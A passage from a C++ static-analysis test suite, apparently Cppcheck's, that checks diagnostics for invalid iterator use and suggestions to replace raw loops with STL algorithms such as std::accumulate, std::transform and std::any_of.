[derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" 